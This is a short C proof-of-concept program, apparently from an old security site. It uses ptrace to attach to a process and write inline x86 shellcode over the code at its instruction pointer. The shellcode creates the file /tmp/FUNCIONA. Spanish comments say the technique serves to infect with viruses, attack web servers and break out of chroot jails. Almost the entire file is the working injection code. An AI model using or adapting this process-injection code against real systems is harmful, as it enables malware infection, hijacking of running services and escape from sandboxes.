#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
//Proof of concept of ptrace  by Sha0  BadCheckSum.tk
//
//sirve para contagios de virus, asaltos a httpd, saltar chroots ..
//para sistemas de seguridad etc ...
//
//al pid que le pases por parametro, le inyectara un asm que crea
//el fichero FUNCION en /tmp
//

void payload (void) {
	__asm__ __volatile__("
			jmp getstring
	code:
			xorl %eax, %eax
			movb $5, %al
			xorl %ebx, %ebx
			popl %ebx
			xorl %ecx, %ecx
			mov $0x01c0, %cx
			xorl %edx, %edx
			movb $100, %dl
			int $0x80
			leave
			ret
	getstring:
			call code
			.string \"/tmp/FUNCIONA\\0\"
	");
}


int inyecta_codigo (int pid) {
	struct user_regs_struct regs;
	int i=0;
	char *p=(char *)payload+3;

	ptrace (PTRACE_ATTACH,pid);
	waitpid (pid,(void *)0x00,WUNTRACED);
	ptrace (PTRACE_GETREGS,pid,0,&regs);
	//ptrace (PTRACE_CONT,pid,0,0);
	while (*p) {
		ptrace (PTRACE_POKEDATA,pid,regs.eip+i++,*((char *)p++));
	}
        ptrace (PTRACE_POKEDATA,pid,regs.eip+i,(void *)0x00);
	ptrace (PTRACE_CONT,pid,0,0);
	ptrace (PTRACE_SETREGS,pid,0,&regs);
	ptrace (PTRACE_DETACH,pid);
	return;
}

int main (int argc, char **argv) {
	//payload();
	inyecta_codigo (atoi(argv[1]));
	return;
}
